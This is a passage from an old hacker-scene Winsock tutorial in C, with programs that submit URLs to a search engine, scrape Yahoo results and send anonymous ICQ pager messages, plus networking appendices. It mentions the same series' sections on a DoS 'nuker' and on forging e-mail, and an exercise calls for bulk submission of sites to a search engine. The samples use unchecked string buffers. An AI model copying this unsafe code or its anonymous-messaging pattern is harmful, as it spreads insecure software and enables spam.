0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
wsock = WSAStartup(0x0101,&wsdata);
sprintf(output,"WSAStartup..wsock = %ld..wsdata=%p",wsock,wsdata);
MessageBox(0,output,"Winsock",0);
sock = socket(AF_INET,SOCK_STREAM,0);
sprintf(output,"Socket = %ld..",sock);
MessageBox(0,output,"Socket",0);
h = gethostbyname("info.webcrawler.com");
Sa.sin_family = AF_INET;
Sa.sin_port = htons(80);
Sa.sin_addr.s_addr=*((unsigned long *) h->h_addr);
cnnct = connect(sock,(struct sockaddr *)&Sa,sizeof(Sa));
sprintf(output,"Connect = %ld",cnnct);
MessageBox(0,output,"Connect",0);
strcpy(msge,"POST /cgi-bin/addURL.cgi HTTP/1.0\r\n");
strcat(msge,"Content-type: application/x-www-form-urlencoded\r\n");
strcat(msge,"Content-length: 41\r\n");
strcat(msge,"\r\n");
strcat(msge,"URLS=http://blacksun.box.sk");
MessageBox(0,msge,"Sent",0);
cnnct = send(sock,msge,strlen(msge),0);
sprintf(output,"Send Post=%ld",cnnct);
MessageBox(0,output,"Send Post",0);
i = 1;
while(i !=0)
{
i = recv(sock,str,sizeof(str),0);
sprintf(output,"i = %d",i);
MessageBox(0,output,"Update",0);
}
MessageBox(0,"Code Complete","Ending...",0);
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
This program is very familiar at this point. A search engine requires a certain amount of
information before adding a site to its list to search. In the program we copy this information
to msge and send this to the server trough the post method. In this program we add blacksun.box.sk
to the list of sites to search, replace that site in the program with the address you want.
Of course what else do we do with search engines?
The following program search's for "blacksun security" on the yahoo search engine.
/* <---- SOURCE CODE STARTS HERE ----> */
#include
#include
void outtie(char *p)
{
FILE *fp=fopen("SearchLog.txt","a+");
fprintf(fp,"%s\n",p);
fclose(fp);
}
WSADATA wsdata;
SOCKET sock;
DWORD wsock;
struct sockaddr_in Sa;
long cnnct;
char output[100];
char msge[1000],str[10000];
int i;
struct hostent *h;
char Headers[]="HTTP/1.0\r\n""User-Agent:AuthClient\r\n""Accept:*/*\r\n";
LRESULT CALLBACK recall (HWND, UINT, WPARAM, LPARAM);
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
static TCHAR szAppName[] = TEXT("Interface");
HWND hwnd;
MSG msg;
WNDCLASS wndclass;
wndclass.style = CS_HREDRAW | CS_VREDRAW;
wndclass.lpfnWndProc = recall;
wndclass.cbClsExtra = 0;
wndclass.cbWndExtra = 0;
wndclass.hInstance = hInstance;
wndclass.hIcon = LoadIcon (NULL, IDI_APPLICATION);
wndclass.hCursor = LoadCursor (NULL, IDC_ARROW);
wndclass.hbrBackground = (HBRUSH) GetStockObject (WHITE_BRUSH);
wndclass.lpszMenuName = NULL;
wndclass.lpszClassName = "Interface";
RegisterClass (&wndclass);
hwnd = CreateWindow (szAppName, // Windows Class Name
"Interface", // Windows Caption
WS_OVERLAPPEDWINDOW, // Windows Style
CW_USEDEFAULT, // initial x position
CW_USEDEFAULT, // initial y position
200, // initial x size
200, // initial y size
0, // parent window handle
0, // parent menu handle
hInstance, // program instance handle
0); // creation parameters
ShowWindow(hwnd, iCmdShow);
while (GetMessage (&msg, NULL, 0, 0))
{
DispatchMessage (&msg);
}
return 1;
}
LRESULT CALLBACK recall (HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
{
if (message == WM_LBUTTONDOWN)
{
wsock = WSAStartup(0x0101,&wsdata);
sprintf(output,"WSAStartup..wsock = %ld..wsdata=%p",wsock,wsdata);
MessageBox(0,output,"Winsock",0);
sock = socket(AF_INET,SOCK_STREAM,0);
sprintf(output,"Socket = %ld..",sock);
MessageBox(0,output,"Socket",0);
h = gethostbyname("search.yahoo.com");
Sa.sin_family = AF_INET;
Sa.sin_port = htons(80);
Sa.sin_addr.s_addr=*((unsigned long *) h->h_addr);
cnnct = connect(sock,(struct sockaddr *)&Sa,sizeof(Sa));
sprintf(output,"Connect = %ld",cnnct);
MessageBox(0,output,"Connect",0);
strcpy(msge,"GET");
strcat(msge," ");
strcat(msge,"/bin/search?p=blacksun+security&b=1");
strcat(msge," ");
strcat(msge,Headers);
strcat(msge,"\r\n");
MessageBox(0,msge,"Sent",0);
cnnct = send(sock,msge,strlen(msge),0);
sprintf(output,"Send Post=%ld",cnnct);
MessageBox(0,output,"Send Post",0);
i = 1;
while(i !=0)
{
memset(&str,'\0',10000);
i = recv(sock,str,sizeof(str),0);
outtie(str);
sprintf(output,"i = %d",i);
MessageBox(0,output,"Update",0);
}
MessageBox(0,"Code Complete","Ending...",0);
}
if (message == WM_DESTROY)
PostQuitMessage(0);
return DefWindowProc(hwnd, message, wParam, lParam);
}
/* <---- SOURCE CODE ENDS HERE ----> */
How else can we use this method? Using this we can submit information to any cgi form on a
website. Icq.com provides paging, where we can page icq members.
Im not sure who wrote the following code as its not contained in the comments and I cant remember who
I got it from so if you know could you let me know? (I have a feeling that its senna spy).
/* <---- SOURCE CODE STARTS HERE ----> */
///////////////////////////////////////////////////////////////////////
// //
// PagerICQ - Send Messages to ICQ Pager //
// //
// Visual C++, Borland C++ and C++ Builder Compatible Source Code //
// Windows 9x, NT and 2000 Compatible //
// //
// Function: //
// //
// ICQPager( cUIN, cMessage ) //
// //
// Parameters: //
// //
// cUIN = ICQ UIN Number //
// cMessage = Message To Send //
// //
///////////////////////////////////////////////////////////////////////
#include "winsock.h"
bool ICQPager( char * cUIN, char * cMessage )
{
// Variables
struct sockaddr_in ICQServer;
WORD wVersionRequested;
WSADATA wsaData;
char cEOL[] = { 13, 10, 0 };
char cMsg[ 512 ] = "";
bool lOK = false;
int nLoop;
// Remove Invalid Characters
// and... Change spaces to "+"
for( nLoop = 0; nLoop < strlen( cMessage ); nLoop ++ )
{
if( cMessage[ nLoop ] < 33 ||
cMessage[ nLoop ] > 126 ||
cMessage[ nLoop ] == '&' )
{
cMessage[ nLoop ] = '+';
}
}
// Start Winsock
wVersionRequested = MAKEWORD( 1, 0 );
if( WSAStartup( wVersionRequested, &wsaData ) == 0 )
{
// Make Socket
ICQServer.sin_family = AF_INET;
ICQServer.sin_port = htons( 80 );
ICQServer.sin_addr.s_addr = inet_addr( "205.188.147.55" ); //wwp.icq.com
int ICQSock = socket( AF_INET, SOCK_STREAM, 0 );
// Connect Server
if( connect( ICQSock, (struct sockaddr *) &ICQServer, sizeof( ICQServer ) ) == 0 )
{
// Make Message
strcpy( cMsg, "GET /scripts/WWPMsg.dll?from=anonymous&fromemail=mail@test.com&subject=pager" );
strcat( cMsg, "&body=" );
strcat( cMsg, cMessage );
strcat( cMsg, "&to=" );
strcat( cMsg, cUIN );
strcat( cMsg, " HTTP/1.0" );
strcat( cMsg, cEOL );
strcat( cMsg, cEOL );
strcat( cMsg, cEOL );
// Send Message
lOK = ( send( ICQSock, cMsg, strlen( cMsg ), 0 ) >= 0 );
// Reveive
if( lOK )
recv( ICQSock, cMsg, 512, 0 );
// Close Socket
closesocket( ICQSock );
}
// Close Winsock
WSACleanup();
}
// Return
return ( lOK );
}
////////////////////////
// //
// Example of the use //
// //
////////////////////////
void Example()
{
char * cMessage = "Message test send to ICQ Pager";
if( ICQPager( "3973927", cMessage ) )
// OK
else
// Error
}
/* <---- SOURCE CODE ENDS HERE ----> */
Again we copy the text to be sent to the server into cMsg and send it to the server. The main
difference with this program is that some cgi programs dont allow certain characters like "/"
for example. In the program we loop trough the message and remove all of the illegal characters
and while were at it we also replace all of the spaces " " with plus's "+"'s, another requirment
of the cgi script.
The formatted message is then sent to the server.
[ EXCERCISES]
Write a program that loads sites from a file and adds them to the webcrawler search engine.
________________________________________________________________________________________________________
11.0 LAST WORDS
=======================================
Well thats it for this tutorial, or at least this part of it. More parts are planned so hopefully you
should see them on blacksun soon :). This part covered the basics of windows programming, there was
no point in writing about unix programming as bracaman has released a very good tutorial on basic unix
sockets programming which is available from blacksun.box.sk and code.box.sk.
I will be discussing Unix sockets again however in the next part of this tutorial but mostly in a porting
sense. To see whats planned for future parts so far just look down :).
Part 2. - GENERAL SOCKETS - Porting to windows and cross platform code.
Part 3. - RAW Sockets - Have more control over packets with raw sockets.
Part 4. - ADVANCED - A real world example by building an internet communication suite.
Part 5. - FINISHING OFF - Putting it all together in one big program.
So thats whats still to come, but I may change some of these future tutorials at any time before there released
if I do so it will be to improve the series.
The following Appendix's contain some information that hopefully will be of use to you.
Well thank you for reading this tutorial and visit my website to keep up to date with the series and for
add on code and articles to the series.
- BR ;)
________________________________________________________________________________________________________
QUESTIONS AND ANSWERS
=======================================
This section doesn't just describe Socket programming but has 1 or 2 questions on internet enabling an
application also.
==============================================================================
Q. How do I open a web page up in Internet Explorer/Netscape Navigator?
A. You can open up a url in the default web browser by using shell execute.
#include
#include
ShellExecute(Handle,"open","http://www.company.com", //Put your website address here
NULL,NULL,SW_SHOWDEFAULT);
If you replace ftp://ftp.company.com it will open an ftp site and replacing with
mailto:email@company.com will provide you with e-mail support.
==============================================================================
Q. How do I periodically download files?
A. You can either use WinInet's API to do so or use WinSock, like HTTP's GET method.
==============================================================================
Q. How do I make a Web Browser.
A. A web browser would require alot of work, beyond just downloading the files but parsing them formatting,
Displaying the results, incorporating FTP and CGI support for downloading and for using forms.
Calling default Mail Client, Supporting standards and scripts like html javascript xml css vbscript and
others and then keeping up to date with new versions of these standards and dont even get me started on
security issues and e-commerce transaction!!!
or you can use the MS Internet Explorer Active-X control which once you understand it you can use it as
easily as adding a richedit or listbox to a program.
NOTE. For educational institutes you can also download the source code for NCSA mosaic or you can also
download the source for Mozilla.
==============================================================================
Q. How do I get more control over IP Packets?
A. You can use RAW sockets, a method we will be discussing more in Part 3 of this tutorial.
==============================================================================
==============================================================================
Q. Why am I getting all of these linker errors when I try and compile the program?
A. You have to be sure and add Wsock32.lib to the link list in your compiler settings.
(for every program!)
==============================================================================
If you have any questions that you'd like to see here or want answered then e-mail me at cos125@hotmail.com
________________________________________________________________________________________________________
APPENDIX A - THE COMPILER
=======================================
All of the programs in this tutorial have been tested under Microsoft Visual C++ 6.0 and im running
Windows 2000 Professional edition and I have a Intel Pentium 2.
To set up compiler for winsock programming you need to link Wsock32.lib to your project. Under Visual C++
do the following.
1. Select the File view tab.
2. Right Click the files menu and goto Settings.
3. Select the Link tab in Project Settings.
4. Add Wsock32.lib to the list of .lib files and press ok.
The winsock.h header file is included in windows.h so dont worry about that :).
________________________________________________________________________________________________________
APPENDIX B - IP AND PORT NUMBERS
=======================================
Both TCP and UDP rely upon IP in order to get where they are going, UDP just does it faster and TCP is
just more reliable at it. The main similarity is there addressing scheme. Both protocols use IP address's
and port numbers to get where they are going.
An IP number or "internet address" is provided to every computer connected to a network such as the internet.
It takes a form of 4 decimal numbers, each one 8 bits (or one octet) in length.
The word octet is used instead of 1 byte because TCP is implamented on many computers that contain more
than 8 bits in a byte. The address looks like this 127.0.0.1 and is used to describe which computer on
which network it is. The number 128.6 is the address of a network provided by a central authority.
128.6.4 would be a sub network of the previous, and 194 would be the target computers number within that
network.
1. 128.6 - A network
2. 128.6.4 - A sub network
3. 128.6.4.194 - Computer within the sub network
Imagine a computer on the net that was running an FTP server (FTP is a protocol used to transfer files
across the internet from 1 computer to another (the File Transfer Protocol)) and also wanted to run
several other servers, such as a Time Server (Time is a protocol developed to allow remote computers to
view the local time on a host) and a http server(a web server which is what sends you web pages such as
the tutorials page of http://blacksun.box.sk).
Well if some-1 was to request a file from the ftp server then how would the computer know that the request
was for the ftp server and not the time or http server?
For this reason each server runs on a specific port. A server connects itself to a default port, 21 for
FTP, 13 for Time and 80 for HTTP. When the request for the file is sent in a packet the computer looks at
the TCP or UDP header. A field in these headers is called the port field and contains the number of the
server that is wants to talk to. So an FTP's TCP header for example would contain a number of 21 in the
port field.
Ports are simply a way of differentiating between what server gets what messages.
These two requirments (The IP address and Port number) are just the parts of the computers over all address,
like the different parts of a mail address, ie; Street Address, City, State/Province, Postal Code, Country.
________________________________________________________________________________________________________
APPENDIX C - SERVERS AND CLIENTS
=======================================
The names servers and clients are given to two different kinds of computer on the internet. If you were
viewing a web page on the internet with internet explorer or netscape navigator you would be reffered
to as a client and the computer which stores the web page your looking at is reffered to as the server.
A server is any computer connected to a network which is running a program that provides a service to others.
A client is a computer that connects to this computer and avails of this service.
Each one is just different ends of a connection and these names are also used to describe the programs that
provide or avail of these services.
The apache http server is a program that provides a service and is known as a web server.
Internet Explorer
________________________________________________________________________________________________________
APPENDIX D - ROUTERS AND GATEWAYS
=======================================
Routers and gateways are both basically the same thing. If you wanted to you could say that all computers
connected to the internet can fall under 2 categories, the first being servers and clients and the second
being routers and gateways.
Servers and clients provide ends of a connection but in order for information to travel from one computer
to another on the internet it must pass trough other networks, hence the phrase internet or interconnected
networks.
A router or gateway has a connection to more than one network so that it can pass information between one
network and another. Information that passes from my computer in ireland thats going to a computer in like
California or Delhi will pass trough several routers or gateways between the two computers. The purpose of
these computers is only to pass the information from one to the other to get the info where its going to in
as fast a time as possible.
__
/ \
| | - SERVER
\__/
|
|
|
\
\
\
\
\
__
/ \
| | - ROUTER/GATEWAY
\__/
/
/
/
/
/
|
|
|
__
/ \
| | - ROUTER/GATEWAY
\__/
|
|
|
|
|
\__
/ \
| | - CLIENT
\__/
FIG 6. - Packets traveling from a client to server trough routers/gateways.
________________________________________________________________________________________________________
APPENDIX E - FURTHER READING
=======================================
[ TUTORIALS ]
There is a large amount of tutorials available from blacksun.box.sk and from code.box.sk.
I suggest that you read any of these pertaining to programming and networking.
Some of these Programs and sections are linked with other BSRF tutorials.
=========================================================================================================
Sections 2.4 to 3.2 dealt with the basics of Sockets programming and was mostly inspired by bracamans
tutorial "BASIC C Socket Programming In Unix For Newbies" available from blacksun.box.sk and code.box.sk.
Sections 5.1, 5.2 and section 8 dealt with the Info Gathering tutorial from Raven.
Section 5.3 - Nuker, The Nuke program is dealt with in the tutorial on DoS attacks.
Section 6.0 Forging e-mail was discussed in the SMTP tutorial and anonymity tutorial also by raven.
Section 7.0 FTP is discussed in its relative tutorial.
=========================================================================================================
[ BOOKS ]
There are a few books out there on Windows socket programming so off the top of my head;
Programming Winsock by Arthur Dumas
Windows Sockets Network Programming by Bob Quinn and David K. Shute
Also I feel I should mention the book,
Programming Windows Fifth Edition by Charles Petzold.
Altough the information on socket programming or WinInet programming is limited it is a great book on
windows vc++ in general and would come in very useful.
[ VENDOR SPECIFIC DOCUMENTS ]
Intel and Nokia's Narrowband Sockets Specification - A winsock API and SDK for wireless pagers and cell
phones.
[ ON THE NET ]
http://www.geocities.com/winnetprogram
http://www.microsoft.com/win32dev/netwrk/winsock2/ws295sdk.html
http://www.stardust.com/welcome.html Some Information on Winsock.
http://www.cis.ohio-state.edu/hypertext/faq/usenet/ibmpc-tcp-ip-faq/part1/faq.html - A FAQ.
ftp://SunSite.UNC.EDU/pub/micro/pc-stuff/ms-windows/winsock/FAQ - Winsock specification FAQ.
http://world.std.com/~jimf/papers/sockets/sockets.html - BSD Sockets.
ftp://ftp.microsoft.com/bussys/winsock/winsock2
[ MAILING LIST ]
There should be a mailing list available on the website, www.geocities.com/winnetprogram
Send an e-mail to listserv@mailbag.intel.com
make sure the subject line is blank and have the following line of text in the body ONLY
subscribe winsock-2
And you will be subscribed to the winsock mailing list :).
Visit http://www.stardust.com/hypermail/winsock2 for the mailing list archive.
Visit http://www.stardust.com/wsresource/winsock/wslists.html for some mailing lists.
[ NETWORK PAPERS ]
An excellent paper on the internet and protocols is Hedricks, Introduction to the Internet Protocols
available from packetstorm.securify.com
[ RFC'S ]
RFC stands for Request For Comment and this is how protocols are made. Before HTTP or FTP were protocols
they were released as RFC's then implemented. RFC's also contain information on networks.
rfc1009 - Overview of Routers and Gateways.
rfc973 - An update for domains.
rfc959 - FTP
rfc937 - POP2
rfc854/5 - Telnet
rfc814 - Names and Ports
rfc793 - TCP
rfc792 - ICMP
rfc791 - IP
rfc768 - UDP
[ NEWS GROUPS ]
USENET
alt.winsock.programming
comp.os.ms-windows.programmer.tools.winsock.
________________________________________________________________________________________________________
APPENDIX F - CODE
=======================================
[ SOURCE CODE ]
http://www.neca.com/~vmis/ - Some good source code and tutorials.
ftp://ftp.ksc.nasa.gov/pub/winvn/source/current/winvn - WinVN NNTP Newsreader.
ftp://ftp.stardust.com/pub/winsock/version1/sample/wsftpsrc.zip - WS_FTP FTP client.
ftp://ftp.mv.com/pub/ddj/1993/1993.02/1993-feb.zip - Finger client/server.
ftp://ftp.cdrom.com/.22/cica/win3/winsock/serweb03.zip - WWW server.
http://www.goodnet.com/~esnible/mercwsrc.zip - A MUD server ported from Unix to Windows.
http://www.codeproject.com - Contains articles, tutorials and source code for internet programming,
multiple languages.
[ Visual Components ]
There are several visual components available for Borland C++ Builder and for Delphi.
Some of these also come in Active-X versions so you can use them with other development environments
like Visual Basic.
IP works from DevSoft (www.dev-soft.com) is a commercial TCP/IP suite with several components for
internet programming.
Some free Open Source ones are also available (Keep it Open!) such as
Francois Piettes components from www.rtfm.be/fpiette/indexuk.htm.
________________________________________________________________________________________________________
[ SHOUTS! ]
Thanks to every-1 that helped with this tutorial... well no-1 would actually give me aby
help so screw you guys lol,
but thanks to all the guys at bsrf for having the patience for putting up with all my delays.
And of course shouts out to the usual suspects!!
Starman Jones - you crazy little bastard.
Vsus - haven't heard from ya in a while.
Exit - haven't even met you at all but jonsie has been tellin stories
Delusive - Delusive's breasts owns j00!!!!
Bracaman - For inspiration!!!!